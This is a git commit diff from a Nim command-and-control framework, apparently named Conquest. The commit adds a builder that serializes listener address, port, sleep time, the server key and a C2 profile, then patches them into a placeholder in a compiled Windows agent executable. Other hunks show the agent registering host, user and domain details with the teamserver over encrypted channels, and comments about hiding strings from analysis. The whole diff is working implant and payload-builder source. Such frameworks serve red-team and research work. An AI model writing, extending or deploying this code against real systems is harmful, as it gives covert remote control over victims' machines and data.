Implemented profile embedding via patching a placeholder in the agent executable. Agent correctly deserializes and parses the profile and listener configuration.

This commit is contained in:
Jakob Friedl
2025-08-18 22:05:23 +02:00
parent 023a562be5
commit 84e8730b1e
15 changed files with 258 additions and 153 deletions

View File

@@ -6,7 +6,5 @@ nim --os:windows \
--gcc.exe:x86_64-w64-mingw32-gcc \ --gcc.exe:x86_64-w64-mingw32-gcc \
--gcc.linkerexe:x86_64-w64-mingw32-gcc \ --gcc.linkerexe:x86_64-w64-mingw32-gcc \
-d:release \ -d:release \
--outdir:"$CONQUEST_ROOT/bin" \
-o:"monarch.x64.exe" \
-d:agent \ -d:agent \
c $CONQUEST_ROOT/src/agent/main.nim c $CONQUEST_ROOT/src/agent/main.nim

View File

@@ -1,15 +1,43 @@
import parsetoml, base64, system import parsetoml, base64, system
import ../../common/[types, utils, crypto] import ../../common/[types, utils, crypto, serialize]
const ListenerUuid {.strdefine.}: string = "" const CONFIGURATION {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
const Octet2 {.intdefine.}: int = 0 proc deserializeConfiguration(config: string): AgentCtx =
const Octet3 {.intdefine.}: int = 0
const Octet4 {.intdefine.}: int = 0 var unpacker = Unpacker.init(config)
const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10 var agentKeyPair = generateKeyPair()
const ServerPublicKey {.strdefine.}: string = ""
const ProfileString {.strdefine.}: string = "" var ctx = new AgentCtx
ctx.agentId = generateUUID()
ctx.agentPublicKey = agentKeyPair.publicKey
while unpacker.getPosition() != config.len():
let
configType = cast[ConfigType](unpacker.getUint8())
length = int(unpacker.getUint32())
data = unpacker.getBytes(length)
case configType:
of CONFIG_LISTENER_UUID:
ctx.listenerId = Uuid.toString(Bytes.toUint32(data))
of CONFIG_LISTENER_IP:
ctx.ip = Bytes.toString(data)
of CONFIG_LISTENER_PORT:
ctx.port = int(Bytes.toUint32(data))
of CONFIG_SLEEP_DELAY:
ctx.sleep = int(Bytes.toUint32(data))
of CONFIG_PUBLIC_KEY:
let serverPublicKey = Bytes.toString(data).toKey()
ctx.sessionKey = deriveSessionKey(agentKeyPair, serverPublicKey)
of CONFIG_PROFILE:
ctx.profile = parseString(Bytes.toString(data))
else: discard
echo "[+] Profile configuration deserialized."
return ctx
proc init*(T: type AgentCtx): AgentCtx = proc init*(T: type AgentCtx): AgentCtx =
@@ -17,39 +45,30 @@ proc init*(T: type AgentCtx): AgentCtx =
# The agent configuration is read at compile time using define/-d statements in nim.cfg # The agent configuration is read at compile time using define/-d statements in nim.cfg
# This configuration file can be dynamically generated from the teamserver management interface # This configuration file can be dynamically generated from the teamserver management interface
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary # Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
when not ( defined(ListenerUuid) or when not defined(CONFIGURATION):
defined(Octet1) or
defined(Octet2) or
defined(Octet3) or
defined(Octet4) or
defined(ListenerPort) or
defined(SleepDelay) or
defined(ServerPublicKey) or
defined(ProfilePath)):
raise newException(CatchableError, "Missing agent configuration.") raise newException(CatchableError, "Missing agent configuration.")
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary return deserializeConfiguration(CONFIGURATION)
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
# Create agent configuration # Create agent configuration
var agentKeyPair = generateKeyPair() # var agentKeyPair = generateKeyPair()
let serverPublicKey = decode(ServerPublicKey).toKey() # let serverPublicKey = decode(ServerPublicKey).toKey()
let ctx = AgentCtx( # let ctx = AgentCtx(
agentId: generateUUID(), # agentId: generateUUID(),
listenerId: ListenerUuid, # listenerId: ListenerUuid,
ip: address, # ip: address,
port: ListenerPort, # port: ListenerPort,
sleep: SleepDelay, # sleep: SleepDelay,
sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication # sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
agentPublicKey: agentKeyPair.publicKey, # agentPublicKey: agentKeyPair.publicKey,
profile: parseString(decode(ProfileString)) # profile: parseString(decode(ProfileString))
) # )
# Cleanup agent's secret key # # Cleanup agent's secret key
wipeKey(agentKeyPair.privateKey) # wipeKey(agentKeyPair.privateKey)
return ctx # return ctx
except CatchableError as err: except CatchableError as err:
echo "[-] " & err.msg echo "[-] " & err.msg

File diff suppressed because one or more lines are too long

View File

@@ -10,12 +10,12 @@ proc createHeartbeat*(ctx: AgentCtx): Heartbeat =
packetType: cast[uint8](MSG_HEARTBEAT), packetType: cast[uint8](MSG_HEARTBEAT),
flags: cast[uint16](FLAG_ENCRYPTED), flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32, size: 0'u32,
agentId: uuidToUint32(ctx.agentId), agentId: string.toUuid(ctx.agentId),
seqNr: 0'u32, seqNr: 0'u32,
iv: generateIV(), iv: generateIV(),
gmac: default(AuthenticationTag) gmac: default(AuthenticationTag)
), ),
listenerId: uuidToUint32(ctx.listenerId), listenerId: string.toUuid(ctx.listenerId),
timestamp: uint32(now().toTime().toUnix()) timestamp: uint32(now().toTime().toUnix())
) )

View File

@@ -201,14 +201,14 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
packetType: cast[uint8](MSG_REGISTER), packetType: cast[uint8](MSG_REGISTER),
flags: cast[uint16](FLAG_ENCRYPTED), flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32, size: 0'u32,
agentId: uuidToUint32(ctx.agentId), agentId: string.toUuid(ctx.agentId),
seqNr: nextSequence(uuidToUint32(ctx.agentId)), seqNr: nextSequence(string.toUuid(ctx.agentId)),
iv: generateIV(), iv: generateIV(),
gmac: default(AuthenticationTag) gmac: default(AuthenticationTag)
), ),
agentPublicKey: ctx.agentPublicKey, agentPublicKey: ctx.agentPublicKey,
metadata: AgentMetadata( metadata: AgentMetadata(
listenerId: uuidToUint32(ctx.listenerId), listenerId: string.toUuid(ctx.listenerId),
username: string.toBytes(getUsername()), username: string.toBytes(getUsername()),
hostname: string.toBytes(getHostname()), hostname: string.toBytes(getHostname()),
domain: string.toBytes(getDomain()), domain: string.toBytes(getDomain()),

View File

@@ -69,6 +69,9 @@ proc init*(T: type Unpacker, data: string): Unpacker =
result.stream = newStringStream(data) result.stream = newStringStream(data)
result.position = 0 result.position = 0
proc getPosition*(unpacker: Unpacker): int =
return unpacker.position
proc getUint8*(unpacker: Unpacker): uint8 = proc getUint8*(unpacker: Unpacker): uint8 =
result = unpacker.stream.readUint8() result = unpacker.stream.readUint8()
unpacker.position += 1 unpacker.position += 1

View File

@@ -55,8 +55,17 @@ type
RESULT_BINARY = 1'u8 RESULT_BINARY = 1'u8
RESULT_NO_OUTPUT = 2'u8 RESULT_NO_OUTPUT = 2'u8
ConfigType* = enum
CONFIG_LISTENER_UUID = 0'u8
CONFIG_LISTENER_IP = 1'u8
CONFIG_LISTENER_PORT = 2'u8
CONFIG_SLEEP_DELAY = 3'u8
CONFIG_PUBLIC_KEY = 4'u8
CONFIG_PROFILE = 5'u8
# Encryption # Encryption
type type
Uuid* = uint32
Bytes* = seq[byte] Bytes* = seq[byte]
Key* = array[32, byte] Key* = array[32, byte]
Iv* = array[12, byte] Iv* = array[12, byte]
@@ -70,7 +79,7 @@ type
packetType*: uint8 # [1 byte ] message type packetType*: uint8 # [1 byte ] message type
flags*: uint16 # [2 bytes ] message flags flags*: uint16 # [2 bytes ] message flags
size*: uint32 # [4 bytes ] size of the payload body size*: uint32 # [4 bytes ] size of the payload body
agentId*: uint32 # [4 bytes ] agent id, used as AAD for encryptio agentId*: Uuid # [4 bytes ] agent id, used as AAD for encryptio
seqNr*: uint32 # [4 bytes ] sequence number, used as AAD for encryption seqNr*: uint32 # [4 bytes ] sequence number, used as AAD for encryption
iv*: Iv # [12 bytes] random IV for AES256 GCM encryption iv*: Iv # [12 bytes] random IV for AES256 GCM encryption
gmac*: AuthenticationTag # [16 bytes] authentication tag for AES256 GCM encryption gmac*: AuthenticationTag # [16 bytes] authentication tag for AES256 GCM encryption
@@ -81,8 +90,8 @@ type
Task* = object Task* = object
header*: Header header*: Header
taskId*: uint32 # [4 bytes ] task id taskId*: Uuid # [4 bytes ] task id
listenerId*: uint32 # [4 bytes ] listener id listenerId*: Uuid # [4 bytes ] listener id
timestamp*: uint32 # [4 bytes ] unix timestamp timestamp*: uint32 # [4 bytes ] unix timestamp
command*: uint16 # [2 bytes ] command id command*: uint16 # [2 bytes ] command id
argCount*: uint8 # [1 byte ] number of arguments argCount*: uint8 # [1 byte ] number of arguments
@@ -90,8 +99,8 @@ type
TaskResult* = object TaskResult* = object
header*: Header header*: Header
taskId*: uint32 # [4 bytes ] task id taskId*: Uuid # [4 bytes ] task id
listenerId*: uint32 # [4 bytes ] listener id listenerId*: Uuid # [4 bytes ] listener id
timestamp*: uint32 # [4 bytes ] unix timestamp timestamp*: uint32 # [4 bytes ] unix timestamp
command*: uint16 # [2 bytes ] command id command*: uint16 # [2 bytes ] command id
status*: uint8 # [1 byte ] success flag status*: uint8 # [1 byte ] success flag
@@ -102,16 +111,16 @@ type
# Checkin binary structure # Checkin binary structure
type type
Heartbeat* = object Heartbeat* = object
header*: Header # [48 bytes ] fixed header header*: Header # [48 bytes ] fixed header
listenerId*: uint32 # [4 bytes ] listener id listenerId*: Uuid # [4 bytes ] listener id
timestamp*: uint32 # [4 bytes ] unix timestamp timestamp*: uint32 # [4 bytes ] unix timestamp
# Registration binary structure # Registration binary structure
type type
# All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data # All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data
AgentMetadata* = object AgentMetadata* = object
listenerId*: uint32 listenerId*: Uuid
username*: seq[byte] username*: seq[byte]
hostname*: seq[byte] hostname*: seq[byte]
domain*: seq[byte] domain*: seq[byte]
@@ -157,7 +166,7 @@ type
port*: int port*: int
protocol*: Protocol protocol*: Protocol
# Server context structure # Server context structures
type type
KeyPair* = object KeyPair* = object
privateKey*: Key privateKey*: Key
@@ -174,8 +183,6 @@ type
keyPair*: KeyPair keyPair*: KeyPair
profile*: Profile profile*: Profile
# Agent config
type
AgentCtx* = ref object AgentCtx* = ref object
agentId*: string agentId*: string
listenerId*: string listenerId*: string
@@ -201,4 +208,4 @@ type
example*: string example*: string
arguments*: seq[Argument] arguments*: seq[Argument]
dispatchMessage*: string dispatchMessage*: string
execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.} execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.}

View File

@@ -10,10 +10,10 @@ proc generateUUID*(): string =
raise newException(CatchableError, "Failed to generate UUID.") raise newException(CatchableError, "Failed to generate UUID.")
return uuid.toHex().toUpperAscii() return uuid.toHex().toUpperAscii()
proc uuidToUint32*(uuid: string): uint32 = proc toUuid*(T: type string, uuid: string): Uuid =
return fromHex[uint32](uuid) return fromHex[uint32](uuid)
proc uuidToString*(uuid: uint32): string = proc toString*(T: type Uuid, uuid: Uuid): string =
return uuid.toHex(8) return uuid.toHex(8)
proc toString*(T: type Bytes, data: seq[byte]): string = proc toString*(T: type Bytes, data: seq[byte]): string =

View File

@@ -2,7 +2,7 @@ import terminal, strformat, strutils, sequtils, tables, json, times, base64, sys
import ../[utils, globals] import ../[utils, globals]
import ../db/database import ../db/database
import ../message/packer import ../protocol/packer
import ../../common/[types, utils] import ../../common/[types, utils]
#[ #[
@@ -40,8 +40,8 @@ proc getTasks*(heartbeat: seq[byte]): seq[seq[byte]] =
# Deserialize checkin request to obtain agentId and listenerId # Deserialize checkin request to obtain agentId and listenerId
let let
request: Heartbeat = cq.deserializeHeartbeat(heartbeat) request: Heartbeat = cq.deserializeHeartbeat(heartbeat)
agentId = uuidToString(request.header.agentId) agentId = Uuid.toString(request.header.agentId)
listenerId = uuidToString(request.listenerId) listenerId = Uuid.toString(request.listenerId)
timestamp = request.timestamp timestamp = request.timestamp
var result: seq[seq[byte]] var result: seq[seq[byte]]
@@ -72,9 +72,9 @@ proc handleResult*(resultData: seq[byte]) =
let let
taskResult = cq.deserializeTaskResult(resultData) taskResult = cq.deserializeTaskResult(resultData)
taskId = uuidToString(taskResult.taskId) taskId = Uuid.toString(taskResult.taskId)
agentId = uuidToString(taskResult.header.agentId) agentId = Uuid.toString(taskResult.header.agentId)
listenerId = uuidToString(taskResult.listenerId) listenerId = Uuid.toString(taskResult.listenerId)
let date: string = now().format("dd-MM-yyyy HH:mm:ss") let date: string = now().format("dd-MM-yyyy HH:mm:ss")
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$resultData.len} bytes received.") cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$resultData.len} bytes received.")

View File

@@ -34,6 +34,7 @@ Commands:
info Display details for a specific agent. info Display details for a specific agent.
kill Terminate the connection of an active listener and remove it from the interface. kill Terminate the connection of an active listener and remove it from the interface.
interact Interact with an active agent. interact Interact with an active agent.
build Generate a new agent to connect to an active listener.
Options: Options:
-h, --help""") -h, --help""")
@@ -124,65 +125,3 @@ proc agentInteract*(cq: Conquest, name: string) =
cq.interactAgent = nil cq.interactAgent = nil
# Agent generation
proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
# Verify that listener exists
if not cq.dbListenerExists(listener.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Listener {listener.toUpperAscii} does not exist.")
return
let listener = cq.listeners[listener.toUpperAscii]
# Create/overwrite nim.cfg file to set agent configuration
let AgentCtxFile = fmt"../src/agent/nim.cfg"
# Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
let (first, second, third, fourth) = parseOctets(listener.address)
# Covert the servers's public X25519 key to as base64 string
let publicKey = encode(cq.keyPair.publicKey)
let profileString = encode(cq.profile.toTomlString())
# The following shows the format of the agent configuration file that defines compile-time variables
let config = fmt"""
# Agent configuration
-d:ListenerUuid="{listener.listenerId}"
-d:Octet1="{first}"
-d:Octet2="{second}"
-d:Octet3="{third}"
-d:Octet4="{fourth}"
-d:ListenerPort={listener.port}
-d:SleepDelay={sleep}
-d:ServerPublicKey="{publicKey}"
-d:ProfileString="{profileString}"
""".replace(" ", "")
writeFile(AgentCtxFile, config)
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Configuration file created.")
# Build agent by executing the ./build.sh script on the system.
let agentBuildScript = fmt"../src/agent/build.sh"
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Building agent...")
try:
# Using the startProcess function from the 'osproc' module, it is possible to retrieve the output as it is received, line-by-line instead of all at once
let process = startProcess(agentBuildScript, options={poUsePath, poStdErrToStdOut})
let outputStream = process.outputStream
var line: string
while outputStream.readLine(line):
cq.writeLine(line)
let exitCode = process.waitForExit()
# Check if the build succeeded or not
if exitCode == 0:
cq.writeLine(fgGreen, "[+] ", resetStyle, "Agent payload generated successfully.")
else:
cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "Build script exited with code ", $exitCode)
except CatchableError as err:
cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "An error occurred: ", err.msg)

148
src/server/core/builder.nim Normal file
View File

@@ -0,0 +1,148 @@
import terminal, strformat, strutils, sequtils, tables, times, system, osproc, streams, base64, parsetoml
import ../utils
import ../../common/[types, utils, profile, serialize]
import ../db/database
const PLACEHOLDER = "PLACEHOLDER"
proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int): seq[byte] =
var packer = Packer.init()
# Add listener configuration
packer.add(uint8(CONFIG_LISTENER_UUID))
packer.add(uint32(sizeof(uint32)))
packer.add(string.toUuid(listener.listenerId))
packer.add(uint8(CONFIG_LISTENER_IP))
packer.add(uint32(listener.address.len))
packer.addData(string.toBytes(listener.address))
packer.add(uint8(CONFIG_LISTENER_PORT))
packer.add(uint32(sizeof(uint32)))
packer.add(uint32(listener.port))
packer.add(uint8(CONFIG_SLEEP_DELAY))
packer.add(uint32(sizeof(uint32)))
packer.add(uint32(sleep))
# Add key exchange information
packer.add(uint8(CONFIG_PUBLIC_KEY))
packer.add(uint32(sizeof(Key)))
packer.addData(cq.keyPair.publicKey)
# Add C2 profile string
let profileString = cq.profile.toTomlString()
packer.add(uint8(CONFIG_PROFILE))
packer.add(uint32(profileString.len))
packer.addData(string.toBytes(profileString))
let data = packer.pack()
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Profile configuration serialized.")
return data
proc compile(cq: Conquest, placeholderLength: int): string =
let
cqDir = cq.profile.getString("conquest_directory")
configFile = fmt"{cqDir}/src/agent/nim.cfg"
exeFile = fmt"{cqDir}/bin/monarch.x64.exe"
agentBuildScript = fmt"{cqDir}/src/agent/build.sh"
# Create/overwrite nim.cfg file to set placeholder for agent configuration
let config = fmt"""
# Agent configuration
-d:CONFIGURATION={PLACEHOLDER & "A".repeat(placeholderLength - (2 * len(PLACEHOLDER))) & PLACEHOLDER}
-o:"{exeFile}"
""".replace(" ", "")
writeFile(configFile, config)
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Configuration file created.")
# Build agent by executing the ./build.sh script on the system.
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Compiling agent.")
try:
# Using the startProcess function from the 'osproc' module, it is possible to retrieve the output as it is received, line-by-line instead of all at once
let process = startProcess(agentBuildScript, options={poUsePath, poStdErrToStdOut})
let outputStream = process.outputStream
var line: string
while outputStream.readLine(line):
cq.writeLine(line)
let exitCode = process.waitForExit()
# Check if the build succeeded or not
if exitCode == 0:
cq.writeLine(fgGreen, "[*] ", resetStyle, "Agent payload generated successfully.")
return exeFile
else:
cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "Build script exited with code ", $exitCode)
return ""
except CatchableError as err:
cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "An error occurred: ", err.msg)
return ""
proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): bool =
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Patching profile configuration into agent.")
try:
var exeBytes = readFile(unpatchedExePath)
# Find placeholder
let placeholderPos = exeBytes.find(PLACEHOLDER)
if placeholderPos == -1:
raise newException(CatchableError, "Placeholder not found.")
cq.writeLine(fgBlack, styleBright, "[+] ", resetStyle, fmt"Placeholder found at offset {placeholderPos}.")
# cq.writeLine(exeBytes[placeholderPos..placeholderPos + len(configuration)])
# Patch placeholder bytes
for i, c in Bytes.toString(configuration):
exeBytes[placeholderPos + i] = c
writeFile(unpatchedExePath, exeBytes)
cq.writeLine(fgGreen, "[+] ", resetStyle, fmt"Agent payload patched successfully: {unpatchedExePath}.")
except CatchableError as err:
cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "An error occurred: ", err.msg)
return false
return true
# Agent generation
proc agentBuild*(cq: Conquest, listener, sleep: string): bool {.discardable.} =
# Verify that listener exists
if not cq.dbListenerExists(listener.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Listener {listener.toUpperAscii} does not exist.")
return false
let listener = cq.listeners[listener.toUpperAscii]
var config: seq[byte]
if sleep.isEmptyOrWhitespace():
# If no sleep value has been defined, take the default from the profile
config = cq.serializeConfiguration(listener, cq.profile.getInt("agent.sleep"))
else:
config = cq.serializeConfiguration(listener, parseInt(sleep))
let unpatchedExePath = cq.compile(config.len)
if unpatchedExePath.isEmptyOrWhitespace():
return false
if not cq.patch(unpatchedExePath, config):
return false
return true

View File

@@ -1,7 +1,7 @@
import prompt, terminal, argparse, parsetoml import prompt, terminal, argparse, parsetoml
import strutils, strformat, times, system, tables import strutils, strformat, times, system, tables
import ./[agent, listener] import ./[agent, listener, builder]
import ../[globals, utils] import ../[globals, utils]
import ../db/database import ../db/database
import ../../common/[types, utils, crypto, profile] import ../../common/[types, utils, crypto, profile]
@@ -53,8 +53,8 @@ var parser = newParser:
command("build"): command("build"):
help("Generate a new agent to connect to an active listener.") help("Generate a new agent to connect to an active listener.")
option("-l", "--listener", help="Name of the listener.", required=true) option("-l", "--listener", help="Name of the listener.", required=true)
option("-s", "--sleep", help="Sleep delay in seconds.", default=some("10") ) option("-s", "--sleep", help="Sleep delay in seconds." )
option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],) # option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],)
command("help"): command("help"):
nohelpflag() nohelpflag()
@@ -104,7 +104,7 @@ proc handleConsoleCommand(cq: Conquest, args: string) =
of "interact": of "interact":
cq.agentInteract(opts.agent.get.interact.get.name) cq.agentInteract(opts.agent.get.interact.get.name)
of "build": of "build":
cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep, opts.agent.get.build.get.payload) cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep)
else: else:
cq.agentUsage() cq.agentUsage()
@@ -129,16 +129,13 @@ proc header() =
proc init*(T: type Conquest, profile: Profile): Conquest = proc init*(T: type Conquest, profile: Profile): Conquest =
var cq = new Conquest var cq = new Conquest
var prompt = Prompt.init() cq.prompt = Prompt.init()
cq.prompt = prompt
cq.listeners = initTable[string, Listener]() cq.listeners = initTable[string, Listener]()
cq.agents = initTable[string, Agent]() cq.agents = initTable[string, Agent]()
cq.interactAgent = nil cq.interactAgent = nil
cq.profile = profile
cq.keyPair = loadKeyPair(profile.getString("private_key_file")) cq.keyPair = loadKeyPair(profile.getString("private_key_file"))
cq.dbPath = profile.getString("database_file") cq.dbPath = profile.getString("database_file")
cq.profile = profile
return cq return cq
proc startServer*(profilePath: string) = proc startServer*(profilePath: string) =

View File

@@ -1,7 +1,7 @@
import times, strformat, terminal, tables, json, sequtils, strutils import times, strformat, terminal, tables, json, sequtils, strutils
import ../utils import ../utils
import ../message/parser import ../protocol/parser
import ../../modules/manager import ../../modules/manager
import ../../common/[types, utils] import ../../common/[types, utils]
@@ -62,6 +62,7 @@ proc handleAgentCommand*(cq: Conquest, input: string) =
# Handle 'back' command # Handle 'back' command
if parsedArgs[0] == "back": if parsedArgs[0] == "back":
cq.interactAgent = nil
return return
# Handle 'help' command # Handle 'help' command

View File

@@ -21,7 +21,7 @@ proc serializeTask*(cq: Conquest, task: var Task): seq[byte] =
packer.reset() packer.reset()
# Encrypt payload body # Encrypt payload body
let (encData, gmac) = encrypt(cq.agents[uuidToString(task.header.agentId)].sessionKey, task.header.iv, payload, task.header.seqNr) let (encData, gmac) = encrypt(cq.agents[Uuid.toString(task.header.agentId)].sessionKey, task.header.iv, payload, task.header.seqNr)
# Set authentication tag (GMAC) # Set authentication tag (GMAC)
task.header.gmac = gmac task.header.gmac = gmac
@@ -42,7 +42,7 @@ proc deserializeTaskResult*(cq: Conquest, resultData: seq[byte]): TaskResult =
# Decrypt payload # Decrypt payload
let payload = unpacker.getBytes(int(header.size)) let payload = unpacker.getBytes(int(header.size))
let decData= validateDecryption(cq.agents[uuidToString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header) let decData= validateDecryption(cq.agents[Uuid.toString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header)
# Deserialize decrypted data # Deserialize decrypted data
unpacker = Unpacker.init(Bytes.toString(decData)) unpacker = Unpacker.init(Bytes.toString(decData))
@@ -102,8 +102,8 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
sleep = unpacker.getUint32() sleep = unpacker.getUint32()
return Agent( return Agent(
agentId: uuidToString(header.agentId), agentId: Uuid.toString(header.agentId),
listenerId: uuidToString(listenerId), listenerId: Uuid.toString(listenerId),
username: username, username: username,
hostname: hostname, hostname: hostname,
domain: domain, domain: domain,
@@ -130,7 +130,7 @@ proc deserializeHeartbeat*(cq: Conquest, data: seq[byte]): Heartbeat =
# Decrypt payload # Decrypt payload
let payload = unpacker.getBytes(int(header.size)) let payload = unpacker.getBytes(int(header.size))
let decData= validateDecryption(cq.agents[uuidToString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header) let decData= validateDecryption(cq.agents[Uuid.toString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header)
# Deserialize decrypted data # Deserialize decrypted data
unpacker = Unpacker.init(Bytes.toString(decData)) unpacker = Unpacker.init(Bytes.toString(decData))

View File

@@ -77,8 +77,8 @@ proc createTask*(cq: Conquest, command: Command, arguments: seq[string]): Task =
# Construct the task payload prefix # Construct the task payload prefix
var task: Task var task: Task
task.taskId = uuidToUint32(generateUUID()) task.taskId = string.toUuid(generateUUID())
task.listenerId = uuidToUint32(cq.interactAgent.listenerId) task.listenerId = string.toUuid(cq.interactAgent.listenerId)
task.timestamp = uint32(now().toTime().toUnix()) task.timestamp = uint32(now().toTime().toUnix())
task.command = cast[uint16](command.commandType) task.command = cast[uint16](command.commandType)
task.argCount = uint8(arguments.len) task.argCount = uint8(arguments.len)
@@ -105,7 +105,7 @@ proc createTask*(cq: Conquest, command: Command, arguments: seq[string]): Task =
taskHeader.packetType = cast[uint8](MSG_TASK) taskHeader.packetType = cast[uint8](MSG_TASK)
taskHeader.flags = cast[uint16](FLAG_ENCRYPTED) taskHeader.flags = cast[uint16](FLAG_ENCRYPTED)
taskHeader.size = 0'u32 taskHeader.size = 0'u32
taskHeader.agentId = uuidtoUint32(cq.interactAgent.agentId) taskHeader.agentId = string.toUuid(cq.interactAgent.agentId)
taskHeader.seqNr = nextSequence(taskHeader.agentId) taskHeader.seqNr = nextSequence(taskHeader.agentId)
taskHeader.iv = generateIV() # Generate a random IV for AES-256 GCM taskHeader.iv = generateIV() # Generate a random IV for AES-256 GCM
taskHeader.gmac = default(AuthenticationTag) taskHeader.gmac = default(AuthenticationTag)